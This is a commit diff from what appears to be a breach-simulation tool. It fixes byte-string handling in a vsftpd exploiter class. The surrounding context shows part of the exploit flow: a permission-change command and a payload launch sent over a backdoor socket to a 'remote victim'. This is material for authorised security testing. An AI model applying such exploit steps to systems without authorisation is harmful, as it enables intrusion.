VSFTPD byte string mixup fixes

This commit is contained in:
VakarisZ 2020-04-14 10:23:01 +03:00
parent 9aaa84ee48
commit 892caadcd0
1 changed files with 2 additions and 2 deletions

View File

@ -129,7 +129,7 @@ class VSFTPDExploiter(HostExploiter):
change_permission = str.encode(str(change_permission) + '\n') change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission) LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission) backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission, self.host).send() T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
# Run monkey on the machine # Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
@ -143,7 +143,7 @@ class VSFTPDExploiter(HostExploiter):
if backdoor_socket.send(run_monkey): if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey) self.host, run_monkey)
self.add_executed_cmd(run_monkey) self.add_executed_cmd(run_monkey.decode())
return True return True
else: else:
return False return False